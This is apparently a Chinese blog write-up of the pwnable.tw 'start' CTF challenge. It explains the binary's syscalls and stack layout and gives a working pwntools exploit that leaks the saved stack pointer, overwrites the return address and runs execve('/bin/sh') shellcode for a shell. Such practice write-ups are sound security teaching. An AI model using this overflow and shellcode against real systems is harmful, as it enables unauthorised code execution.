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2019-10-25
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1.5k 字
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7 分钟
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<h1 id="Pwnable-tw-start"><a href="#Pwnable-tw-start" class="headerlink" title="Pwnable.tw start"></a><a href="http://pwnable.tw/" target="_blank" rel="noopener">Pwnable.tw</a> start</h1><p>程序链接：<a href="https://pwnable.tw/static/chall/start" target="_blank" rel="noopener">https://pwnable.tw/static/chall/start</a></p>
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<h2 id="0x01-检查保护情况"><a href="#0x01-检查保护情况" class="headerlink" title="0x01 检查保护情况"></a>0x01 检查保护情况</h2><p>不得不说，<a href="http://www.trapkit.de/tools/checksec.html" target="_blank" rel="noopener">checksec</a>这个工作看似简单，用用现成工具就行，但这决定了我们之后漏洞利用的方式，是否栈代码执行，还是ROP。<br>最好多用几个工具进行检查，兼听则明。比如这个程序用peda检查就开启了NX，但实际上并没有。所以理想的话，把shellcode布置到栈上就可以了！</p>
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<figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">$</span> checksec ./start</span><br><span class="line"> Arch: i386-32-little</span><br><span class="line"> RELRO: No RELRO</span><br><span class="line"> Stack: No canary found</span><br><span class="line"> NX: NX disabled</span><br><span class="line"> PIE: No PIE (0x8048000)</span><br></pre></td></tr></table></figure>
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<p><strong>RELRO(Relocation Read Only)：尽量使存储区域只读</strong></p>
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<h2 id="0x02-漏洞分析"><a href="#0x02-漏洞分析" class="headerlink" title="0x02 漏洞分析"></a>0x02 漏洞分析</h2><p>用IDA逆向分析，汇编代码</p>
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<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br></pre></td><td class="code"><pre><span class="line">保存现场环境esp、_exit</span><br><span class="line">.text:<span class="number">08048060</span> push esp</span><br><span class="line">.text:<span class="number">08048061</span> push offset _exit</span><br><span class="line"></span><br><span class="line">清空寄存器EAX EBX ECX EDX</span><br><span class="line">.text:<span class="number">08048066</span> xor eax, eax</span><br><span class="line">.text:<span class="number">08048068</span> xor ebx, ebx</span><br><span class="line">.text:<span class="number">0804806</span>A xor ecx, ecx</span><br><span class="line">.text:<span class="number">0804806</span>C xor edx, edx</span><br><span class="line"></span><br><span class="line">向栈上压入参数</span><br><span class="line">.text:<span class="number">0804806</span>E push <span class="number">3</span>A465443h CTF:</span><br><span class="line">.text:<span class="number">08048073</span> push <span class="number">20656874</span>h the</span><br><span class="line">.text:<span class="number">08048078</span> push <span class="number">20747261</span>h art</span><br><span class="line">.text:<span class="number">0804807</span>D push <span class="number">74732073</span>h s st</span><br><span class="line">.text:<span class="number">08048082</span> push <span class="number">2774654</span>Ch Let’</span><br><span class="line"></span><br><span class="line">系统调用<span class="number">80</span>h</span><br><span class="line">.text:<span class="number">08048087</span> mov ecx, esp ; addr</span><br><span class="line">.text:<span class="number">08048089</span> mov dl, <span class="number">14</span>h ; len</span><br><span class="line">.text:<span class="number">0804808B</span> mov bl, <span class="number">1</span> ; fd</span><br><span class="line">.text:<span class="number">0804808</span>D mov al, <span class="number">4</span></span><br><span class="line">.text:<span class="number">0804808F</span> <span class="keyword">int</span> <span class="number">80</span>h ; LINUX - sys_write</span><br><span class="line"></span><br><span class="line">系统调用<span class="number">80</span>h</span><br><span class="line">.text:<span class="number">08048091</span> xor ebx, ebx</span><br><span class="line">.text:<span class="number">08048093</span> mov dl, <span class="number">3</span>Ch</span><br><span class="line">.text:<span class="number">08048095</span> mov al, <span class="number">3</span></span><br><span class="line">.text:<span class="number">08048097</span> <span class="keyword">int</span> <span class="number">80</span>h ; LINUX -</span><br><span class="line"></span><br><span class="line">恢复栈平衡，返回到_exit</span><br><span class="line">.text:<span class="number">08048099</span> add esp, <span class="number">14</span>h</span><br><span class="line">.text:<span class="number">0804809</span>C retn</span><br><span class="line">.text:<span class="number">0804809</span>C _start endp ; sp-analysis failed</span><br></pre></td></tr></table></figure>
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<h3 id="INT-80h-系统调用方法"><a href="#INT-80h-系统调用方法" class="headerlink" title="INT 80h 系统调用方法"></a><strong>INT 80h 系统调用方法</strong></h3><p><strong>系统调用的过程</strong>可以总结如下：<br>1． 执行用户程序(如:fork)<br>2． 根据glibc中的函数实现，取得系统调用号并执行int $0x80产生中断。<br>3． 进行地址空间的转换和堆栈的切换，执行SAVE_ALL。（进行内核模式）<br>4． 进行中断处理，根据系统调用表调用内核函数。<br>5． 执行内核函数。<br>6． 执行RESTORE_ALL并返回用户模式<br>Linux 32位的系统调用时通过int 80h来实现的，eax寄存器中为调用的功能号，ebx、ecx、edx、esi等等寄存器则依次为参数。</p>
|
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<p><a href="http://syscalls.kernelgrok.com/" target="_blank" rel="noopener">关于系统调用的功能号</a>：</p>
|
||
<figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#</span>define __NR_exit 1</span><br><span class="line"><span class="meta">#</span>define __NR_fork 2</span><br><span class="line"><span class="meta">#</span>define __NR_read 3</span><br><span class="line"><span class="meta">#</span>define __NR_write 4</span><br><span class="line"><span class="meta">#</span>define __NR_open 5</span><br><span class="line"><span class="meta">#</span>define __NR_close 6</span><br><span class="line"><span class="meta">#</span>define __NR_waitpid 7</span><br><span class="line"><span class="meta">#</span>define __NR_creat 8</span><br><span class="line"><span class="meta">#</span>define __NR_link 9</span><br><span class="line"><span class="meta">#</span>define __NR_unlink 10</span><br><span class="line"><span class="meta">#</span>define __NR_execve 11</span><br></pre></td></tr></table></figure>
|
||
<p><strong>第一个系统调用：</strong><br>将esp开始的14h字节数据写入标准输出（文件描述符1），即输出”Let’s start the CTF:“</p>
|
||
<table>
|
||
<thead>
|
||
<tr>
|
||
<th>name</th>
|
||
<th>eax</th>
|
||
<th>ebx</th>
|
||
<th>ecx</th>
|
||
<th>edx</th>
|
||
</tr>
|
||
</thead>
|
||
<tbody>
|
||
<tr>
|
||
<td><a href="http://www.kernel.org/doc/man-pages/online/pages/man2/write.2.html" target="_blank" rel="noopener">sys_write</a></td>
|
||
<td>0x04</td>
|
||
<td>unsigned int fd = 1</td>
|
||
<td>const char __user *buf = esp</td>
|
||
<td>size_t count =14h</td>
|
||
</tr>
|
||
<tr>
|
||
<td>—</td>
|
||
<td>—</td>
|
||
<td>—</td>
|
||
<td>—</td>
|
||
<td>—</td>
|
||
</tr>
|
||
</tbody>
|
||
</table>
|
||
<p><strong>第二个系统调用：</strong><br>从标准输入读取3ch字节到栈空间</p>
|
||
<table>
|
||
<thead>
|
||
<tr>
|
||
<th>name</th>
|
||
<th>eax</th>
|
||
<th>ebx</th>
|
||
<th>ecx</th>
|
||
<th>edx</th>
|
||
</tr>
|
||
</thead>
|
||
<tbody>
|
||
<tr>
|
||
<td><a href="http://www.kernel.org/doc/man-pages/online/pages/man2/read.2.html" target="_blank" rel="noopener">sys_read</a></td>
|
||
<td>0x03</td>
|
||
<td>unsigned int fd = 1</td>
|
||
<td>char __user *buf = esp</td>
|
||
<td>size_t count = 3ch</td>
|
||
</tr>
|
||
<tr>
|
||
<td>—</td>
|
||
<td>—</td>
|
||
<td>—</td>
|
||
<td>—</td>
|
||
<td>—</td>
|
||
</tr>
|
||
</tbody>
|
||
</table>
|
||
<h3 id="栈变化情况"><a href="#栈变化情况" class="headerlink" title="栈变化情况"></a>栈变化情况</h3><ol>
|
||
<li>程序执行到0804808F：sys_write</li>
|
||
</ol>
|
||
<p>输出14h字节数据：Let’s start the CTF:</p>
|
||
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"> +-----------------+ <----</span><br><span class="line"> | Let’ | | </span><br><span class="line"> +-----------------+ |</span><br><span class="line"> | s st | |</span><br><span class="line"> +-----------------+ |</span><br><span class="line"> | art | 14h</span><br><span class="line"> +-----------------+ |</span><br><span class="line"> | the | |</span><br><span class="line"> +-----------------+ |</span><br><span class="line"> | CTF: | |</span><br><span class="line"> +-----------------+ <-----</span><br><span class="line"> | offset _exit |</span><br><span class="line"> +-----------------+</span><br><span class="line"> | Saved ESP |</span><br><span class="line">H-> +-----------------+</span><br></pre></td></tr></table></figure>
|
||
<ol>
|
||
<li>08048097: sys_read</li>
|
||
</ol>
|
||
<p>read函数最多可以读取3ch字节，超出了分配的空间，可以用来覆盖ret_addr和esp。经调试验证，20字节后覆盖ret，24字节后覆盖esp。</p>
|
||
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">gdb-peda$ pattern search</span><br><span class="line">Registers contain pattern buffer:</span><br><span class="line">EIP+0 found at offset: 20</span><br><span class="line">Registers point to pattern buffer:</span><br><span class="line">[ECX] --> offset 0 - size ~32</span><br><span class="line">[ESP] --> offset 24 - size ~8</span><br><span class="line">Pattern buffer found at:</span><br><span class="line">0xffcc2764 : offset 0 - size 30 ($sp + -0x18 [-6 dwords])</span><br><span class="line">Reference to pattern buffer not found in memory</span><br></pre></td></tr></table></figure>
|
||
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"> +-----------------+ <----</span><br><span class="line"> | aaaa | | </span><br><span class="line"> +-----------------+ |</span><br><span class="line"> | aaaa | |</span><br><span class="line"> +-----------------+ |</span><br><span class="line"> | aaaa | 14h</span><br><span class="line"> +-----------------+ |</span><br><span class="line"> | aaaa | |</span><br><span class="line"> +-----------------+ |</span><br><span class="line"> | aaaa | |</span><br><span class="line"> +-----------------+ <-----</span><br><span class="line"> | aaaa |</span><br><span class="line"> +-----------------+</span><br><span class="line"> | Saved ESP |</span><br><span class="line">H-> +-----------------+</span><br></pre></td></tr></table></figure>
|
||
<h2 id="0x03-漏洞利用"><a href="#0x03-漏洞利用" class="headerlink" title="0x03 漏洞利用"></a>0x03 漏洞利用</h2><h3 id="利用思路"><a href="#利用思路" class="headerlink" title="利用思路"></a>利用思路</h3><p>现在EIP已经在我们的掌控之中了，关键是如何跳转到布置的shell code中。一般来说，首先会去找JMP ESP指令，这样就能让shellcode获得执行。但这段汇编代码没有，可以利用的只有read和write。如果可以write出Saved ESP的地址，然后覆盖掉offset _exit，就能成功shell。</p>
|
||
<ol>
|
||
<li>泄露Saved ESP</li>
|
||
</ol>
|
||
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">start = p.recvuntil(<span class="string">':'</span>) //等待write执行完毕</span><br><span class="line">payload = 'a'*0x14 + p32(0x08048087) //发送溢出数据，覆盖ret为0x08048087->输出14h字节</span><br><span class="line">p.send(payload)</span><br><span class="line">data = p.recv() //接收输出数据，其中就有Saved ESP</span><br></pre></td></tr></table></figure>
|
||
<p>debug过程：</p>
|
||
<figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">[DEBUG] Received 0x14 bytes:</span><br><span class="line"> "Let's start the CTF:"</span><br><span class="line">[DEBUG] Sent 0x18 bytes:</span><br><span class="line"> 00000000 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │aaaa│aaaa│aaaa│aaaa│</span><br><span class="line"> 00000010 61 61 61 61 87 80 04 08 │aaaa│····││</span><br><span class="line"> 00000018</span><br><span class="line">[DEBUG] Received 0x14 bytes:</span><br><span class="line"> 00000000 **20 53 81**** ff** 01 00 00 00 58 6d 81 ff 00 00 00 00 │ S··│····│Xm··│····│</span><br><span class="line"> 00000010 60 6d 81 ff │`m··││</span><br><span class="line"> 00000014</span><br></pre></td></tr></table></figure>
|
||
<ol start="2">
|
||
<li>覆盖RET</li>
|
||
</ol>
|
||
<p>此时程序已经泄露出之前的Saved_esp，栈的情况已经摸清了，然后程序继续执行read，注意read完 add esp, 14h后再ret，因此，ret_addr在esp+14h的地方。</p>
|
||
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">payload = <span class="string">'a'</span>*<span class="number">0x14</span> + p32(saved_esp + <span class="number">20</span>) + shellcode</span><br><span class="line"><span class="keyword">print</span> p32(saved_esp)</span><br><span class="line">p.send(payload)</span><br></pre></td></tr></table></figure>
|
||
<ol start="3">
|
||
<li>shellcode</li>
|
||
</ol>
|
||
<p>shellcode同样可以用系统调用的方式执行execve(“/bin/sh”,NULL,NULL)</p>
|
||
<table>
|
||
<thead>
|
||
<tr>
|
||
<th>name</th>
|
||
<th>eax</th>
|
||
<th>ebx</th>
|
||
<th>ecx</th>
|
||
<th>edx</th>
|
||
<th>esi</th>
|
||
</tr>
|
||
</thead>
|
||
<tbody>
|
||
<tr>
|
||
<td><a href="http://www.kernel.org/doc/man-pages/online/pages/man2/execve.2.html" target="_blank" rel="noopener">sys_execve</a></td>
|
||
<td>0x0b</td>
|
||
<td>char __user *</td>
|
||
<td>char <strong>user *</strong>user *</td>
|
||
<td>char <strong>user *</strong>user *</td>
|
||
<td><a href="http://lxr.free-electrons.com/source/arch/alpha/include/asm/ptrace.h?v=2.6.35#L19" target="_blank" rel="noopener">struct pt_regs</a></td>
|
||
</tr>
|
||
<tr>
|
||
<td>—</td>
|
||
<td>—</td>
|
||
<td>—</td>
|
||
<td>—</td>
|
||
<td>—</td>
|
||
<td>—</td>
|
||
</tr>
|
||
</tbody>
|
||
</table>
|
||
<p>其中，该程序是 32 位，所以我们需要使得</p>
|
||
<ul>
|
||
<li>系统调用号，即 eax 应该为 0xb</li>
|
||
<li>第一个参数，即 ebx 应该指向 /bin/sh 的地址，其实执行 sh 的地址也可以。</li>
|
||
<li>第二个参数，即 ecx 应该为 0</li>
|
||
<li>第三个参数，即 edx 应该为 0</li>
|
||
</ul>
|
||
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">xor eax,eax <span class="comment">//清空eax</span></span><br><span class="line">push eax <span class="comment">//0入栈，当作字符/bin/sh结尾</span></span><br><span class="line">push '/sh'</span><br><span class="line">push '/bin' //'/sh'为3字节，未对齐' ->'/sh\0'或//sh</span><br><span class="line">mov ebx, esp <span class="comment">//指向/bin/sh地址</span></span><br><span class="line">xor ecx,ecx</span><br><span class="line">xor edx,edx</span><br><span class="line">mov al, <span class="number">0xb</span> <span class="comment">//系统调用号</span></span><br><span class="line"><span class="keyword">int</span> <span class="number">80</span></span><br></pre></td></tr></table></figure>
|
||
<figure class="highlight"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">shellcode=<span class="string">'''</span></span><br><span class="line">xor eax,eax</span><br><span class="line">push eax</span><br><span class="line">push %s</span><br><span class="line">push %s</span><br><span class="line">mov ebx, esp</span><br><span class="line">xor ecx,ecx</span><br><span class="line">xor edx,edx</span><br><span class="line">mov al, <span class="number">0xb</span></span><br><span class="line">int 0x80''' %(u32('/sh\0'),u32('/bin'))</span><br></pre></td></tr></table></figure>
|
||
<p>使用asm(shellcode)来进行汇编,可以使用context来指定cpu类型以及操作系统，如context(arch = ‘amd64’ , os = ‘linux’, log_level=”debug”)</p>
|
||
<h3 id="Catch-THE-FLAG"><a href="#Catch-THE-FLAG" class="headerlink" title="Catch THE FLAG"></a>Catch THE FLAG</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> binascii <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line">shellcode=<span class="string">'''</span></span><br><span class="line"><span class="string">xor eax,eax</span></span><br><span class="line"><span class="string">push eax</span></span><br><span class="line"><span class="string">push %s</span></span><br><span class="line"><span class="string">push %s</span></span><br><span class="line"><span class="string">mov ebx, esp</span></span><br><span class="line"><span class="string">xor ecx,ecx</span></span><br><span class="line"><span class="string">xor edx,edx</span></span><br><span class="line"><span class="string">mov al, 0xb</span></span><br><span class="line"><span class="string">int 0x80'''</span> %(u32(<span class="string">'/sh\0'</span>),u32(<span class="string">'/bin'</span>))</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">dbg</span><span class="params">()</span>:</span></span><br><span class="line"> p = process(<span class="string">'./start'</span>)</span><br><span class="line"> context.terminal = [<span class="string">'gnome-terminal'</span>, <span class="string">'-x'</span>, <span class="string">'sh'</span>, <span class="string">'-c'</span>]</span><br><span class="line"> context.log_level = <span class="string">'debug'</span></span><br><span class="line"> gdb.attach(proc.pidof(p)[<span class="number">0</span>])</span><br><span class="line"> pause()</span><br><span class="line"> <span class="keyword">return</span> p</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">leak_esp</span><span class="params">(p)</span>:</span></span><br><span class="line"> start = p.recvuntil(<span class="string">':'</span>)</span><br><span class="line"> payload = <span class="string">'a'</span>*<span class="number">0x14</span> + p32(<span class="number">0x08048087</span>)</span><br><span class="line"> p.send(payload)</span><br><span class="line"> saved_esp = p.recv()[:<span class="number">4</span>]</span><br><span class="line"> <span class="keyword">return</span> u32(saved_esp)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">pwn</span><span class="params">(p,saved_esp)</span>:</span></span><br><span class="line"> payload = <span class="string">'a'</span>*<span class="number">0x14</span> + p32(saved_esp + <span class="number">20</span>) + asm(shellcode)</span><br><span class="line"> p.send(payload)</span><br><span class="line"> p.interactive()</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">'__main__'</span>:</span><br><span class="line"> <span class="comment"># p = dbg()</span></span><br><span class="line"> <span class="comment"># p = process("./start")</span></span><br><span class="line"> p = remote(<span class="string">"chall.pwnable.tw"</span>,<span class="number">10000</span>)</span><br><span class="line"> saved_esp = leak_esp(p)</span><br><span class="line"> <span class="keyword">print</span> <span class="string">"leak saved_esp: %s"</span> %hex(saved_esp+<span class="number">20</span>)</span><br><span class="line"> pwn(p,saved_esp)</span><br></pre></td></tr></table></figure>
|
||
<figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">$</span> python ./start.py</span><br><span class="line">[+] Opening connection to chall.pwnable.tw on port 10000: Done</span><br><span class="line">leak saved_esp: 0xffb43704</span><br><span class="line">[*] Switching to interactive mode</span><br><span class="line"><span class="meta">$</span> whoami</span><br><span class="line">start</span><br><span class="line"><span class="meta">$</span> find -name flag</span><br><span class="line">./home/start/flag</span><br><span class="line"><span class="meta">$</span> cat ./home/start/flag</span><br><span class="line">FLAG{Pwn4bl3_tW_1s_y0ur_st4rt}</span><br></pre></td></tr></table></figure>
|
||
<h2 id="REF"><a href="#REF" class="headerlink" title="REF"></a>REF</h2><p><a href="https://introspelliam.github.io/2017/08/06/pwn/%E7%B3%BB%E7%BB%9F%E8%B0%83%E7%94%A8%E7%BA%A6%E5%AE%9A/" target="_blank" rel="noopener">Linux 系统调用</a></p>
|
||
<p><strong>pwntools使用</strong><br><a href="http://brieflyx.me/2015/python-module/pwntools-intro/" target="_blank" rel="noopener">http://brieflyx.me/2015/python-module/pwntools-intro/</a><br><a href="https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/basic-rop-zh/" target="_blank" rel="noopener">https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/basic-rop-zh/</a><br><a href="https://tianstcht.github.io/pwntools%E7%9A%84%E4%BD%BF%E7%94%A8%E6%8A%80%E5%B7%A7/" target="_blank" rel="noopener">https://tianstcht.github.io/pwntools%E7%9A%84%E4%BD%BF%E7%94%A8%E6%8A%80%E5%B7%A7/</a></p>
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|
||
var title = $visitors.attr('data-flag-title').trim();
|
||
var query = new AV.Query(Counter);
|
||
|
||
query.equalTo("url", url);
|
||
query.find({
|
||
success: function(results) {
|
||
if (results.length > 0) {
|
||
var counter = results[0];
|
||
counter.fetchWhenSave(true);
|
||
counter.increment("time");
|
||
counter.save(null, {
|
||
success: function(counter) {
|
||
var $element = $(document.getElementById(url));
|
||
$element.find('.leancloud-visitors-count').text(counter.get('time'));
|
||
},
|
||
error: function(counter, error) {
|
||
console.log('Failed to save Visitor num, with error message: ' + error.message);
|
||
}
|
||
});
|
||
} else {
|
||
var newcounter = new Counter();
|
||
/* Set ACL */
|
||
var acl = new AV.ACL();
|
||
acl.setPublicReadAccess(true);
|
||
acl.setPublicWriteAccess(true);
|
||
newcounter.setACL(acl);
|
||
/* End Set ACL */
|
||
newcounter.set("title", title);
|
||
newcounter.set("url", url);
|
||
newcounter.set("time", 1);
|
||
newcounter.save(null, {
|
||
success: function(newcounter) {
|
||
var $element = $(document.getElementById(url));
|
||
$element.find('.leancloud-visitors-count').text(newcounter.get('time'));
|
||
},
|
||
error: function(newcounter, error) {
|
||
console.log('Failed to create');
|
||
}
|
||
});
|
||
}
|
||
},
|
||
error: function(error) {
|
||
console.log('Error:' + error.code + " " + error.message);
|
||
}
|
||
});
|
||
}
|
||
|
||
$(function() {
|
||
var Counter = AV.Object.extend("Counter");
|
||
if ($('.leancloud_visitors').length == 1) {
|
||
addCount(Counter);
|
||
} else if ($('.post-title-link').length > 1) {
|
||
showTime(Counter);
|
||
}
|
||
});
|
||
</script>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<script>
|
||
(function(){
|
||
var bp = document.createElement('script');
|
||
var curProtocol = window.location.protocol.split(':')[0];
|
||
if (curProtocol === 'https') {
|
||
bp.src = 'https://zz.bdstatic.com/linksubmit/push.js';
|
||
}
|
||
else {
|
||
bp.src = 'http://push.zhanzhang.baidu.com/push.js';
|
||
}
|
||
var s = document.getElementsByTagName("script")[0];
|
||
s.parentNode.insertBefore(bp, s);
|
||
})();
|
||
</script>
|
||
|
||
|
||
|
||
|
||
|
||
<link rel="stylesheet" href="/lib/needsharebutton/needsharebutton.css">
|
||
|
||
|
||
|
||
<script src="/lib/needsharebutton/needsharebutton.js"></script>
|
||
|
||
<script>
|
||
|
||
pbOptions = {};
|
||
|
||
pbOptions.iconStyle = "box";
|
||
|
||
pbOptions.boxForm = "horizontal";
|
||
|
||
pbOptions.position = "bottomCenter";
|
||
|
||
pbOptions.networks = "Weibo,Wechat,Douban,QQZone,Twitter,Facebook";
|
||
|
||
new needShareButton('#needsharebutton-postbottom', pbOptions);
|
||
|
||
|
||
flOptions = {};
|
||
|
||
flOptions.iconStyle = "box";
|
||
|
||
flOptions.boxForm = "horizontal";
|
||
|
||
flOptions.position = "middleRight";
|
||
|
||
flOptions.networks = "Weibo,Wechat,Douban,QQZone,Twitter,Facebook";
|
||
|
||
new needShareButton('#needsharebutton-float', flOptions);
|
||
|
||
</script>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<script type="text/javascript" src="/js/src/js.cookie.js?v=5.1.4"></script>
|
||
<script type="text/javascript" src="/js/src/scroll-cookie.js?v=5.1.4"></script>
|
||
|
||
|
||
|
||
|
||
</body>
|
||
</html>
|